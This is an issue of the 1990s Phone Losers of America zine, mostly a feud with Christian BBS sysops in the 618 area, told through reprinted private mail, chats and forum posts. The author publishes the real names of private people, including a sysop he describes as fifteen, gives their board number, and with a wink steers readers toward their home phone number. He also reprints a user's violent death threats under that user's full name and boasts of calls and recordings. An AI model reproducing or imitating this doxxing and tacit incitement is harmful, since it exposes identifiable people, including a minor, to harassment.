Really, there's no application about it. Anyone who wants to can become a distribution site, all you have to do is apply. What do you get out of it?  Well, you get put on the Distribution List. Other than that, nothing reallyspecial happens to you and you still won't have any friends, you'll just have a bunch of crappy files on your hard drive.

PLApplication:

Name of Your BBS:__________________________________

Podunk Town & State You Live In:________________________

Telephone Number(s):________________________________

Your Handle:_______________________________________

Internet Address:____________________________________

How Long Has Your BBS Existed?_____________Cactus?______

Alternative Means of Contacting You:______________________

Here's how it works: Send this form back to the PLA and you'll be added to the distribution list. You can send this back via internet or by calling one of the PLA Systems, listed at the end of this file. If for some reason you can't contact us in e-mail, you can leave a voice request on the PLA voicemail box. If all else fails, U.S. mail will be fine.

If you have an e-mail account, you'll get the issues within 24 hours of their release. If you call one of the PLA Data Lines, you can also get it pretty quick. If you absolutely can not call long distance, let us know and we'll call your system and upload the files periodically. Keep in mind, if you're unable to call long distance for free, we'll be making fun of you behind your back all the time, but we'll still be nice enough to upload the issues to you, maybe. (Especially if it's a board I frequent.)

RULES AND REGURLASHINS:

You have to designate a section in your files area that is only for PLA texts, graphics, etc.

Every user, no matter how lame he is or how much you despise him or even if he used the PLA hacking technique on your BBS, must have access to the PLA section of your system.

If any member of the PLA is to log on to your board, you must give him full & complete access, which includes, but is not limited to access to all of your text files, all your illegal warez, utilities, your Telix

.FON directory with your bbs list and passwords, your personal Doogie Howser diary, personal mail, word processing files, financial records, etc, etc, etc... If a PLA member continues to call your bbs, you must start sending him/her lots of money in the mail and telling everyone how cool he/she is.

Well, that's about it. If you really think I'm going to try and enforce any of these rules, you're on drugs. This is just what I prefer. I mean, it's not like PLA contains any kind of valuable information to the point of you needing to only let the elite users have access to it. So, mail off this application ASAP and you're on your way to fame and fortune.

Contact The Phone Losers Of America Nearest You!

Voice:

512-370-4680 PLA Voicemail System

Data:

618-797-2339 PLA BBS Illinois Line

512-883-7543 PLA BBS Texas Line

512-851-8317 Sonic Youth Systems

U.S. Mailing Address:

Phone Losers Of America

P.O. Box 3642

Corpus Christi, TX 78463

FTP Site: FTP.FC.NET - directory pub\deadkat\incoming\PLA (Thanks to Disorder & Deadkat!)

Internet:

rbcp@big12.metrobbs.com (To contact RedBoxChiliPepper)

cactus@basenet.net (To contact Zak a.k.a. el_jefe)

collcard@big12.metrobbs.com (To contact Colleen Card)

Issue #034

Completed On August 8th, 1995

TABLE OF CONTENTS:

1. Introduction - RBCP

2. The 618 Scene: Chatterbox BBS

3. The 618 Scene: The Hit Man War

4. The 618 Scene: Hack-Phreak Scene of 618?

5. The 618 Scene: Miscellaneous

6. How To Piss Off RBCP - by Colleen Card

7.  What People Are Saying About The PLA

8. This Issue's Total Loozer Award

9. This Issue's Featured Support Sites

10.Classifieds Section

Wow, this PLA issue is going to be a doozie. As usual, longer and even more meaningless. First of all, I want to inform everyone of the little change the stupid bastards at the voicemail company in Austin made. They totally changed voicemail software (no longer the easily hacked Aspin) and relocated their offices to downtown which meant, without warning, my voicemail number changed.

This all means, of course, that my plan of having a permanent number that wouldn't change for a long time went out the window. Even for me, being a "valued" customer of over seven months, they wouldn't refer the calls from my old number to my new number. So, the new PLA Voicemail number is 512-703-8910.

I finally got my brand new shiney fridge magnet from Roy, New Mexico the other day, direct from their gift shop! They even sent back my change (in cash) and they sent back the stamps I had enclosed for postage. (The magnet was a little smaller that I'd anticipated.) They also included their business card and a receipt with a hand written note on it, "Thanks! We enjoyed doing mail order business with you!" Thank you, Cactus Flower Gift Shop! I feel so cool...

In the past few weeks, I've been doing a lot of bbsing in the 618 (Alton, IL) area. I don't know WHY I started calling around there, but I did and you're about to be treated to a four part series about the total lameness of that entire area. I encourage anyone who lives there to MOVE OUT before it's too late! Get ready to meet the PHREEKER scene of 618... As well as the Christian bbs scene and a few hillbillies. First, we bring you the Chatterbox BBS...

The Chatterbox

Welcome to ChatterBox BBS!

\\\\l////

( O O )

----oOOo---U---oOOo----

Last people who decided to call:

Number Handle                    Language   Time  Date  Speed                ##

ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

3916   Hit Man #103              Hillbilly  14:30 07/31 14400/LAPM/V.42bis    3

3917   Zensless1 #80             English    14:39 07/31 14400/LAPM/V.42bis    4

3918   Morbid Death #34          English    15:42 07/31 2400                  1

3919   Captain Picard #97        Valley     16:22 07/31 14400/LAPM/V.42bis    1

Auto message by: Chatty #1

***************************

Nice day, isn't it?

***************************

* Welcome New User to ChatterBox BBS *

You have connected to ChatterBox BBS !!! It is located in Belleville, Illinois which is just east of St. Louis. Our phone number is (618) 277-8040. We thank you for calling us and hope you find this board to be useful and entertaining! We offer online games, email, message bases, and a complete file area.

Please feel free to use all of the time you are given. There are NO FEES and NO RATIOS, and only a few rules. Below is a disclaimer of legalities and rules for the board. READ THEM, but don't let this get in the way of having a good time and using the resources of the board. These rules can be followed easily by using common sense and being tolerant of others. If you have any problems please feel free to email me and let me know.

1) NO swearing, cussing, or offensive language! [<-- Isn't all of that

2) NO pornography or X-rated material!           the same??      -RBCP]

3) The golden rule is the supreme rule of the board.

(Do unto others as you would have them do unto you!)

Follow these rules and we can ensure a good quality board for everyone. Anyone disobeying these rules will be punished by having their access to this system denied. The systems operator of the board has final say in all disputes. The SysOp also holds the right to deny access to this system to anyone that does not comply with these rules.

Thanx, your SysOp

Chatty

Welcome to ChatterBox BBS.. I hope you like it here, we have a few on-line games, and more on the way...

We have a few files, right now, am busy working on getting the games working.. I hope you like the board.. Feel free to look around.

YOU WILL be VOICE validated, before your access will be raised.

A.) You MUST give your FULL name, address and phone # before validation. This MUST be Your REAl name, REAL address, and your REAL phone Number.

Absolutely NOBODY will be validated unless they give a Voice Number where we can Call you back and Voice Validate you.

B.) State where you got this #.

C.) Give 3 peoples names on boards that we can contact that will tell us info about you, and if a sysop, what board they are a sysop of.

Anyone not answering these three question, will NOT BE VALIDATED and possibity of being deleted.  Anyone NOT leaving Feedback with the required info, will be deleted Automatically.

But if you answered these correctly you will be voice validated and if it is the right #, your access will be raised..

Thanx for your time...

That is, more or less, what you see when you log onto Chatterbox BBS. The ChatterBox Incident has to come first, even though all this started with the Hit Man incident which is next in the series. It started when Hit Man needed my home phone number in Texas so he asked the sysop of Chatterbox for it and it was given to him. Just a few weeks before all this, Zak had logged on to this bbs using all of my info which I had given him permission to do. The sysop, being extremely paranoid of everything (he's a christian), always voice validates everyone, so Zak was using my info so he could get an account just to cause trouble there. Zak has a habit of using my alias when he causes trouble, as many sysops in 618 can testify.

A little about Chatterbox...It's run by fifteen year old, sligtly overweight Amanda Eyer, whose goes by the alias Chatty and her DAD, Scott Eyer, who goes by the alias of Scott The Believer. It's one of those bbses where you're not allowed to say any cuss words, not allowed to express your views because they may differ from the sysop's and of course you're not allowed to express any disbelief in the existance of some guy named God. When I called there, I uploaded a GIF of the bible being used as toilet paper (which should be included in this archive, by the way) and I made some innocent little post about Jesus being dead.

Anyway, this didn't make either one of the sysops happy and both of them spent the day praying and calling up all their brothers & sisters of the church to get a group prayer for me going or something like that. It turns out that I'm not the only courrier for satan that they've dealt with in the past. Nobody likes them, their both always getting harrassing mail, their bbs has been hacked and the user list (names & passwords) been downloaded and distributed.

Apparently, Chatty was gullible enough to give someone the access to view the user list and he/she captured it and distributed it everywhere. I would include it in this file but it'd be pointless because all the passwords have been changed and if you want a user's phone number, all you have to do is e-mail Scott The Believer for it and he'll give it out, no problem. Oh yeah, that's what I was getting at. Scott gave my home voice number to Hit Man and this whole shebang started up. Ah, but first you have to read some private mail from The ChatterBox, just to get an idea of how lame they really are...

First here's an amusing piece of mail from Chucky #91 to Chatty #1, written on Monday, July 3, 1995:

I say well, because I tried to page you and you must be asleep.  Today was great.  Though my work is still cut out ahead of me.  Played volleyball at longacre for about 4 hours had fun.  And things made me think.

Just standing there and seeing so many people.  There were so many people on the courts you couldn't see the sand, it was packed.  However though there were tons oh people having fun, laughing [Cand screaming I noticed things. On one court there were around 12 blacks and no whites.  On the other court there were 6 whites and no blacks.  Side by side there they were all having fun, but not true interaction.  Each side played their games and had fun.

Standing around I noticed there were only two watching, out of around about 50, that were mixing.  My and another black girl.  Every now and then I looked at the blacks staring at me in wonder, and I even got the sane looks from the whites too.  But the most beautiful thing I noticed that GOD was watching too.  Though I felt a bit worried that one of the two races wou

[Somehow the rest got cut off...The next mail is from an irate user.]

To.......... Chatty #1

Title....... Well

Pirate:  Iam Death #4

Date: Mon Jul 03 00:17:27 1995

Then just delete all of us becouse I could care less about being on your board. I also want you to stop calling my house, and all of my friends.

[And now you're about to see how Scott The Believer treats all of his users and how paranoid their family really is. The following are responses Scott left to New User Feedback...]

To.......... Gif Master #60

Title....... Humm....

Pirate:  Scott The Believer #5

Date: Wed Jun 21 22:43:52 1995

Who the heck are you? You say you are Jason, but when we called Jason's phone number, he said he NEVER called here.

So, who are you? You are not jason, so who are you and WHY would you call in and say you were hm, HUH?

Scott The Believer

To.......... Demonchild #46

Title....... HI

From:  Scott The Believer #5

Date: Mon Jun 12 06:09:48 1995

RE: DEMONCHILD

¯My name isDEMONCHILD I wish to join your bbs.

Well, hi there. The newuser letter said that you were to give me your REAL name here, not your handle. AND in the info about you it asked for your handle first, then it asked for your FULL real name, and you and your "Brother is it" just gave your real first name and not your FULL name. I asked Vertico to tell me what his real last name was, but he didn't do it. MAybe he didn't even read my mail, or didn't know how to answer back to me. To reply back to this letter, when it comes to the system prompt, just hit "A" for Autoreply to the author, and you will be replying to my mail. ALSO, to end and send a mail, after you write one, just hit return (Enter) to get to the begining of a NEW line, and then type /S to save your mail/letter/post. If you have any questions, just

E-mail me.

Scott The Believer

[Scott was probably just freaked out about his alias or something. Here's a few comments that were made in general private mail:]

To.......... Markus #17

Title....... well,

Pirate:  Scott The Believer #5

Date: Mon Jun 19 05:58:09 1995

Thanks my friend. Are you going this weekend to Promise Keepers? I'll talk to you later.

And no, I am not going to Promise Keepers. I am just not to hip to that movement. I think it just pumps you up, fires you up, but really don't give you any real value for Christian Living. Case in point, Rick Taylor. Came back from there last year, really fired up, wanted everyone to go. Then for about 6 months I never even saw him in Church, then maybe they came once a month for awhile. Now look at them, up and quit the whole Church. I am just not sure PK is all it is cracked up to be......

To.......... Lestat #76

Title....... humm...

Pirate:  Scott The Believer #5

Date: Sun Jul 02 07:59:35 1995

umm.....I think it was two days ago.. you got me in chat...

that wasn't me it was my sister. I am not usually that hostile. Sorry if she angered you..

:)

Lestat

Well, I see you still have that line noise, huh? NO, I wasn't angry, and I didn't cut you off, I guess that call waiting or line noise finally got the best of our comm programs, cause it cut us off automatically.

No problem here, I just couldn't figure out why I was getting a ring, ring from your phone. I should have gotten a busy signal. See, the problem is that we have a VERY hostile user here that we deleted a couple of months ago, and she is still trying to call in under fake accounts. That is why I was checking to see if you were calling from your phone, I am too cheap to get caler ID. :)

[And the hostile user in question, of course, is Martini. Scott's big security thing is calling up a user while they're on the phone to see if the phone is busy, just to make sure it's really them. Since a lot of people don't want to tie up their phone, they get booted off when Scott does this. So that's what their private mail looks like. After I was deleted, I logged back on to ask why. Here's what I wrote and also the responses that I got from both Chatty & Scott The Believer.]

Title:

Enter message now, max lines are 30

Enter '/HELP' for help.

[---=----=----=----=----=----=----=----]----=----=----=----=----=----=----=--]

Why'd I get deleted? Well, maybe that's not really the issue here. What I really want to know is why did you give out my personal home phone number? When I first logged on here I used my real information thinking that you wouldn't give it out to everyone but I guess I was wrong. Was I deleted because I wasn't home when you called my girlfriend? I'm sorry, I was bbsing at a friend's house. I had no idea that wasn't allowed on here.

I guess it'd be best if you forwarded this to Scott The Believer since he's probably mostly responsible for all this, from what I hear. I just want you to know that I don't appreciate any of this. It should also interest you that I happen to have YOUR home voice number and could give that out to plenty of people. Did you know that the guy you gave my number to threatens to fly down here and kill me all the time? If that were to actually happen, do you think that Scott would be legally responsible for my death? I think so.

/s

[And the responses...]

Chatty #1 forwarded your mail to Scott The Believer #5

Scott The Believer #5 read your mail on 07/31/95

(1/2): Well...

Name: Chatty #1

Date: Mon Jul 31 07:33:49 1995

RE:

happen to have YOUR home voice number and could give that out to plenty of

Welll.. For your information, I already know that you have my #...I'm not stupid, I know who is all involved in a plot against me. But I'm not worried. I don't apprecaite users loggin' you in as a new user ( referring to posts made on Martini's board, oh.. You thougt I'd never see them, I have. ) and you have no clue...... Well.. I have to say I also don't think it is in FCC regelations to give out any other users information on a post, or anything.

They are trying to contact FCC, I know this for a fact, as he is my freind. No, He doesn't have access to my user log, and no, he won't ever. I made that mistake once with giving a guy that info, and someone loging on as him and getting all the info.. Alright, so if I didn't give him the #, he would have gone and got it from someone else.... Trust me, he knows how. I'm NOT sorry I am freinds with him. He's a nice guy, if you are on his good side, I'm just glad I am. And I wish that Martini, and everyone else wasn't mad at me, I make an effort to try and be nice to all of my users, but she broke a rule, and was in violateon of FCC. I also have to add, that I let my dad handle that, so she WOULDB'T get mad at me. I'm sorry I gave your #. And I'm sorry you were deleted, but I was given the explination that it was because there have been people logging in as your name. And yes we know who it was. I do read messeges on martini's boarde.... I'm not as dum as everyone thinks.

øú.    ôô  .úø

øú. €h„ÅÅ˜ .úø

[I've since changed my home phone number and the last four digits are the initials of a well-known phone company. Get my new number, Greg,  it's a challenge.]

E-mailing Chatty #1

Title:

Enter message now, max lines are 30

Enter '/HELP' for help.

[-=----=----=----=----=----=----=----]----=----=----=----=----=----=----=----]

Go back and read that message you sent me. Not one word of it made any sense.

Learn how to spell.

/s

Saving...Mail sent to Chatty #1

(2/2): MAN<

Name: Scott The Believer #5

Date: Mon Jul 31 17:17:37 1995

And just how did you get that number? From our users list? Humm? Hey, our home voice number isn't unlisted, anyone can pick up a phone book and get it, BIG DEAL! You think you are giving out privedledged info, or something? NOT! Having our phone number isn't anything, BUT making crank, obsene calls is ILLEGAL, and we are getting them, so we have called the FCC in Washington to see what can be done to go back thru the phone records and catch whoever is making all the calls. And to trace all new incoming calls also. We will catch whoever is responsible.

As for you being deleted, YES, I did that. For several reasons. 1: Stupid posts you made concerning GOD. 2:Stupid GIF you uploaded. 3:hanging up on me when I pulled you into CHAT last nught. 4:Posts you made on Martini's board asking what you could "DO" to Chatterbox. 5: Post you made giving out Hitmans info on Martini's board. 6: The main reason, your association with the PLA! That right there was enough for me to delete you, I just deleted 2 other members of the PLA from here too. As soon as you read this, you will be deleted again, and we turned on NEWUSER PASSWORD so none of you can log back on as NEW. You are not welcome here, your association with Martini the JERK and your stupid posts on her board has seen to that. Good-bye and good ridence....

Scott The Believer

[And when I try to respond, Scott chat's with me!]

Chat mode entered. You are chatting with Scott The Believer...

[ME:] I bet it'll be a major inconvience for the new users with that NUP on  here. That's funny.

what is so funny about it?

I think you're lame. Will users still be able to log on if your phone line were to somehow disappear?

how will our phon line dissapear?

Oh, I don't know. If you piss off God he may disconnect service. What's so bad about the PLA?

I think he is getting mad now

[And he dropped carrier on me. Imagine that. While all this is going on, Apok0lyps has been coming through will flying colors, capturing most of these posts, getting debates and voting questions started, and (him being the only one with an account on Chatterbox) having a lot of conversations with Scott The Believer. The issue being debated mostly, was did Scott have the right to give out my info. Here's a message that he posted on Roy's Place...]

6/7: ok..

Name: Apok0lyps #3 @1

Date: Mon Jul 31 09:13:08 1995

I got a question for everyone. When you go to your doctor, he/she and you have a sacred trust called the doctor/patient relationship. This means that he can't/won't discuss ANYTHING about you with anyone else without your permission.

The same things go on with you and your laywer. The only persons he can discuss your case with is other officers of the court, and they are required byLAW to keep what they hear a secret.

Now we all know that these things get broken from time to time, but at leaset there are penalties in place to punish those who break these trust. So my question is as follows: Shouldn't a sysop be bound by the same set of rules?

At least the ones a laywer uses. Your personal information is a very precious comoditity(sp) and when you entrust it to someone, you expect them to honor your trust. What should happen to those who violate those trust??

Now stop and think of this situation: A sysop tells you you MUST leave correct info, and you will be voice validated. You want access to his system, so you comply. He KNOWS your information is correct, and you are allowed on.

Next, I say you are making harassing phone calls to me, so I call some sysops looking for your phone number/real name. I finally stumble across one who will tell me. I call you make threats. But the catch is you were never making those calls to me. I just wanted your info. It may only work once with that sysop, but once is enough to ruin one life.

So now, go back to the voting booth and cast your vote what should happen to a sysop that would violate YOUR trust.

[Here's a couple of replies to Apok0lyp's mail from Scott...]

(2/2): Legalities?

Pirate:  Scott The Believer #2

Date: Tue Aug 01 20:22:49 1995

Here is a legal question. RBCP called me, thinking I would answer the phone, it was the 2nd time he had called, I did answer it the first time. BUT the second time, I let my answering get it. BOOM, he called back in 2 minutes and played a tape of WHAT my answering maching said, Which means he RECORDED it! And if I had answered it voice, he would have been recording me, WITHOUT my consent. WHAT DOES the LAW say about that, HUH? If you are advising him, you may want to talk to him about it. I am keeping that tape for any future possible needs. Just in case this don't just END now peaceably. I am in favor of that option, how about you?

[In this reply, Scott is replying to his new & improved answering machine greeting which goes something like this: "Hello! WARNING! This call is being TRACED by the phone company as we speak. (stutters) It is also being recorded, copies of which are being furnished to the FCC so please speak clearly so we can hear every word you say...(beeeeeep!)"]

(1/2): Thank you,

Pirate:  Scott The Believer #2

Date: Tue Aug 01 20:12:34 1995

I am glad you think I can be trusted cause I am older and a Christian. I really don't think what I did was that wrong, I am sorry it has gotten blown out of  proportion tho. It's not like I gave the number to someone I don't know either,  I know greg, he was at my house Sunday night and picked Chatty up to play Volleyball. He was NOT a total stranger I gave that number to.

BUT I saw the post where you claim that HITMAN posted his address and his phone number, and it was NOT his correct address or phone number. If you have it, please pass it to me, cause I don't believe it till I see it. We read all the posts (AND captured them) and I didn't see his correct address or phone number, except in RBCP's post. AND I still believe he got it from MY users list. AND he is calling up here too, against your legal advise. He listened to my answering machine, AND then posted what my machine said on Bogus Journey. that is really lame, he IS calling my house and Greg also. All I can say is that it had better not go on much longer, or I am calling the police. This is the stupidest thing I have ever seen. In all my years of BBSing, I have never seen such babies trying to cause trouble. AND RBCP posting my mail to him and my CHAT MODE with him on Martini's board is just as lame, BUT I guess that is legal too, huh?

Maybe I should just go post ALL the PLA's phone numbers and address's in open posts on all the board I can, huh? That would be fun, right? yea. AND that post about Satans BBS, 2 gigs of Adult files, then MY VOICE number, that just about takes the cake. I want to know if you think this whole mess is about to END or it is really going to take calling the police in to end this stuff? What do you think? Is it about over? What do you think will end it? Just want your thought on this issue.....

(2/2): Wow,

Pirate:  Scott The Believer #5

Date: Sun Jul 30 23:48:18 1995

I guess this thing with Martini not liking the Chatterbox and Amanda, and the fact that she forced us to delete her from this BBS has finally gone over the edge. Whatever Greg did, it did NOT warrent the PERSON who stole our users list to post his information in an open post for all to read. That is going WAY too  far in my opinion, and very may well be illegal. I am sure the harrasing phone calls are illegal. Anything I could do to help him get to the bottom of it, I would have done for anyone including you if someone did that to you. AND I HOPE he does get to the bottom of it, and the police catch the person responsible.

In the meantime, let me say this. I will try to keep your info as secure as possible, but I can't guarntee your privacy. If the same situation came up, but he had needed your phone number to call and see if it was you or a faker that had done that, I would probably give him your number for him to call and get to the bottom of it all. I can NOT guarentee that I will never give your number out, it would depend on the situation. So if you want to stay on, it is ok, and if you want us to delete you, thats ok too, no hard feelings either way. But I can't tie my hands by promising something that I can't keep. I will just say that I will try to not give your info out, it would have to be a good reason for me to do that. So you let me know what it is to be, and we will take care of it. We almost shut the board a few weeks ago because of user problems, and that is still a possibility, so it may not matter anyway, huh?

Scott The Believer

(1/1): Humm...

Pirate:  Scott The Believer #5

Date: Tue Aug 01 06:17:59 1995

what about closed systems that only allow certain people access? How do they do that? Are you saying we MUST allow anyone on as a user, weither we want to or not? If I called Martini's board, she would be required to let me on as a user? I don't know about all those legalities, yes, If I refused to let someone on just because they were Black or Japeneese, I would probably be sued for it. BUT I do know that RBCP was deleted for posts and actions he did here, for his attitude about this board. ZAK and Zensless1 both TOLD me to delete them unless I could guarntee then 100% security, that I would NEVER EVER let out their info. They asked me to delete them if I could not guarntee that, so I did delete them at their request. You on the other hand, I have NEVER had a problem with, so even tho you are PLA, you are welcome here. I only delete a user that I have a real problem with and then only after I warned them about it. But you don't have to worry, I have had NO problem with you.

But I would like to know one thing. Why is it so wrong for me to give out a to post a users info like he did in an open post? Where did he get that info for one thing? And why is it ok to post that in an open post, yet I get raked over the coals for giving out 1 phone number to 1 user? What about systems that have 20 co-sysops, that all have access to the users list? So would it have been alright if I just made hitman a co-sysop, and gave him access to ALL the users info? I just don't understand this, it is beyond me how everyone thinks I did something wrong. I see nothing wrong with what I did, BUT I see all kinds of wrong with RBCP posting info in a post. I just don't get it....

Scott The Believer

(1/1): Redbox...

Pirate:  Scott The Believer #5

Date: Mon Jul 31 06:22:53 1995

Well, there is other factors that you don't know yet about Redboxchilipeper. We have always considered his account VERY suspicious. Calling from texas, then he wouldn't give us his voice number to validate him for NOTHING 2 months ago. so we deleted him then. NOW 2 months later he calls and freely gives us his number. I heard he posted a post on Martinis board asking what he could "DO" to the chatterbox BBS. Yesterday, he called our board, made some rather rude post concerning GOD, saying he is dead, etc, Uploaded a GIF showing a toilet with the Bible being used as toilet paper, knowing we are Christians, he was trying to get under our skin, IF IT WAS EVEN HIM CALLING. See, we still consider his accound a possible fake account. While he was on-line, I called his data phone, busy. BUT immediatly when we broke contact, it was still busy. Was it him, possibly not. So I called his voice number, got his wife. She said RBCP wasn't home, and that he does all his BBSing from his house, so it wasn't him, but someone else calling in using his name. Probably the same person who stole out user list. when he was on-line, I pulled him into chat too, as soon as he saw that I was wanting to talk, hd immediatly hung up on me. NOW after all this went on, then hit-mans story about redbox posting HIS info in a post, hey, I didn't feel very concerned about keeping his phone number private. AS a matter of fact, I deleted him from our system. And I really don't feel bad about giving Hitman his phone number, sorry if you feel I did the wrong thing.

As for our user list being an inside job, you are partially correct. We think it was ripped off by "A Girl" who started dating a Guy. This guy was on our board, good friend of Chattys, and had a 255 access. She had several friends who she had given 255's to. well, this Girl logged on as this Guy, cause she had found out his password to get onto the system. Once on as him, with a 255, she got the users list. Simple as pie. NOW NOBODY has a 255 but Chatty and me.  And we have proof that they were calling in as other people, using our users list to log in as whoever they wanted to, and stir up trouble. Heck, they even tried to log in as ME and Chatty, using our Passwords that were ONLY in that users list, except we changed them. I tell you what, weither we shut this bbs down or keep it running is still up in the air. How far hitman's problem goes may deceide that for us. AND we have also been getting phone calls at Midnight, and 3 AM, hang-ups, alot of them, and we are thinking of calling the phone company and let them trace them. This whole thing is really stupid, and my wife has had about al that she will take of this crap. It might turn ugly, who knows. But I still say that I can't promise total security for your info, but I will use my discression as to who would get it, and it would have to be a darn good reason, fair or not?

Scott The Believer

[Ha, my WIFE?? That'll be the day. (He talked to Colleen Card.) Anyways, during all the conversing, Apok0lyps convinced Scott that perhaps a public apology would put a stop to the harrassment.]

Date: 4:23 am  Wed Aug 2, 1995         Number : 121 of 121

From: Apok0Lyps                        Base   : Private Mail

To  : Redboxchilipepper                Refer #: None

Subj: apology                          Replies: None

Stat: Normal                           Origin : Local

Ok, after some masterful calls, I convinced STB that the harassment should stop, provided he APOLOGIZES to you and the PLA, and also agrees to NEVER give out a users info without that users consent.

Now, if you ask me, I think Scott has seen the error of his ways (halajueia brother, ok I can't spell it) and should be left alone. But good ole Greg.....well, he (IMHO) could apologize all day and get no mercy.

It was cool, I told STB that he would most likley get harassed day and night for a long time unless he said sorry. He figured it would "just go away in time" but I told him all about Chris Tomkinson and he then replied with "well, what do you think I should say in this apology?" :) He was gonna mail it to you on Roy's Place, but I told him a PUBLIC POST on his board would be much better. It's in you xfer section. CYA

apok0lyps

[And the following appeared in Chatterbox's System Annoncements sub...]

< Q-scan And The Sysop Now Speaks 1 - 4 msgs >

4/4: Apology!

Pirate:  Scott The Believer #2

Date: Tue Aug 01 22:40:53 1995

Chatty and I want to apologize to Redboxchilipeper for what went on this week.  We gave out his home phone number to another user, and being new sysops didn't realize that we were doing a great injustice. Looking back, we see that we should NOT have given it out, and we will never give out any user info without their consent FIRST. Of course our user list had been hacked and is all over the area anyway, we didn't think it was that bad a thing to do. BUT we are sorry this happened, and we will never do that again. Hope this satisifies the PLA, RBCP, and anyone else who had doubts about our security. As of NOW, Chatty and I are the ONLY 2 who have access to the user list, and it will remain that way. Security will be tight from now on.

Sorry RBCP........

Scott The Believer

And Chatty

[1] [And The Sysop Now Speaks]

Read:(1-4,^4),? :

[My reply to it...]

Fine, apology accepted, and a good move on your part, as well as mine, I guess. I suppose that I'll apologize for the anti-religeous comments and GIFs I uploaded to your system then. I promise you that I will make a point never to call your bbs or your voice number again. From everything I've heard, though, a lot of people don't like you because you're both so big brotherish about the way you run your bbs, so if you receive annoying calls, be assured that they're NOT from me or Zak or any other member of the PLA.

One thing I think you didn't realize while rattling off my unlisted home phone number was that Mr. Carson who's such a fine citizen on your bbs, has been threatening to fly down to Texas, find me, rape my girlfriend and shoot me. While I know he's probably all talk and in reality works the graveyard shift in a crappy motel, that's not exactly the type of person I want having my phone number. The day after you gave it out, Greg started calling me and threatening me every time he received a prank call. I hate to break this to Greg, but I'm not the only one who hates him. Anyway, I'm rambling, have a nice life without me in it anymore. You should take off that NUP because that's really a hassle for legitimate users and I heard some weirdo a few years back got nailed to a tree for suggesting a NUP.

Peace,

RBCP

[And that's more or less the end. The next day I called up Bogus Journey, one of the few cool boards in 618, to see this public post by Chatty. Or was it STB? They use the same accounts...]

48/50: hey RBCP

Name: Chatty #178 @6851

Date: Tue Aug 01 19:02:10 1995

You are the cool one, aren't you. I had a guy tell me you wasn't making any Voice calls to Illinois, guess he was wrong, huh? I guess it really takes something simple, stupid and pathetic to entertain you, huh? We got capture files from Martini's board, and here. Really boring reading, I must say. Too bad you (and the rest of your PLA losers) don't have a life.....

Scott The Believer

áogus Journey ááS

(618)656-7266 23« Hours/Day 14.4k WWIV 4.23

IceNet @6851 TAZnet @6863 TerraNET @6863

[Sometime during all this Zak, who at the time still had a valid account on Chatterbox, left feedback to Scott saying, "Somebody just called my house and hung up on me! Can I have your user list?" and he got deleted for it. Also, a few other users (Zenzeless?) were deleted because they told Scott if their security couldn't be guaranteed on that system, they didn't want accounts there.]

I really meant what I said about not bothering Scott anymore, by the way. Since he was smart enough to make a public apology, I suppose I can respect that enough to leave him alone. He will continue to be harrassed daily, though. Not because I'm encouraging or doing it myself, but because of the way he treats people who call there. There's nothing I can do about that. So Scott, lighten up a little. As Colleen Card keeps pointing out to me, Scott didn't apologize because he was sorry, he apologized because he was being harrassed and wanted it to stop. Oh and if anyone ever wants to give the Chatterbox BBS a call to talk about good, wholesome, christian and family values, you can reach their bbs at 618-277-8040. And of course you shouldn't ever harrass these people because they have the power of the lord behind him.  And although I would never give out their home voice phone number in a mag that's distributed nationally, you could probably dial 618-555-1212 and ask directory assisstance for Scott's number in Belleville and they would give it to you, but I wouldn't encourage that either.

The Hillbilly of 618

In the above section you heard alot about a guy named Greg Carson aka The Hit Man and how he was so hard up for my home voice number. (It's been awhile, by the way, and he still hasn't used all of his amazing resources and money to get my new phone number.) About 75% of the 618 users don't like Greg. It started in a post where he started going off about how much money he had, how nice of a house he had and the nice cars and job he had. I THINK that's how it all started, I'm not really responsible for this war, I just contributed a lot to it. I never got around to doing a public records search to see if he really owned all these amazing toys or if his rich daddy just bought it all for him.  Of all the posts to lose, I lost that one and I'm too lazy to go look for it,  but here's a bunch of other posts to give you an idea of the whole story. Keep in mind that this guy is supposed to be 21...

31/78: come on BABIES

Name: The Hit Man #27

Date: Sat Jul 22 12:42:31 1995

You dont Know anything about ME! Before FUCKING with a PRO go look me up I will be waiting with FIREPOWER and wont be the first person I SHOT!  yes think what you want BUT I REALLY am CRAZY!!! Ill FUCKING KILL YOU!  Open your mouth and put it on the sidewalk and then stomp the back of you head ank kill you! I am laughing at this!! I LOVE IT! COME GET ME I have been BORED for so LONG-Get everybody you can more for my 2 Dogs.  My rottweiler will love it!

SEE YOU BABIES AROUND

29/78:

Name: Zak #4

Date: Sat Jul 22 03:16:12 1995

If the hit man keeps it up, I;ll just have to *32 him.

32/78: Hey, asswipe

Name: Stormhawk #8

Date: Sun Jul 23 14:39:36 1995

You think you're so cool, just because of what you have, not because of what you are.  I respect people, not possesions.  When you prove yourself worthy of being respected, I MIGHT respect you.  By the way, large dogs don't scare me, can you say PEPPER MACE?  and also, I'm infinitely more mature than you, lose.

37/78:

Name: Redboxchilipepper #11

Date: Mon Jul 24 23:53:41 1995

Hit Man, I'm in Texas and can mess up your life just as well as anyone in Illinois. Will your rotweiler gallop down here and bite my ass?

38/78:

Name: Zak #4

Date: Tue Jul 25 02:06:11 1995

He's rich, remember he can afford to hire a rotweiller in texas to go bite you.

40/78: OK

Name: The Hit Man #27

Date: Tue Jul 25 20:09:23 1995

RE:

BY: Redboxchilipepper #11

Im am getting scared! Blow me awAy-Kill me-It wont phase me! Because you wont do a FUCKING thing you Loser!!!!

Again I will repeat myself- BRING IT ON! or just SHUT THE FUCK UP

Show me your actions not your Pathetic WORDS!!

42/78: Hit Man

Name: Maynard #19

Date: Wed Jul 26 00:15:43 1995

Is that man sane?

Guess he has lots o faith in his dog.

Hey, maybe his dog will pay his phone bills!

43/78: Ok DICKHEAD

Name: Pepsi-Man #32

Date: Wed Jul 26 04:42:38 1995

RE: Hit Man

BY: Maynard #19

You dont know about The Real Greg Carson reputation Do you people? He shoot someone in Cahokia about 3 years ago... A part of a gang in O'fallon which the cops could hardly break up. So many friends that he never had to do any fighting. His friends did all the deeds untill one stud make fun of his brohter-He shoot that bastard! WEll thats the O'fallon rumor. As for that number its a HOTEL... I guess he sure got you guys!

46/78:

Name: Zak #4

Date: Wed Jul 26 09:12:10 1995

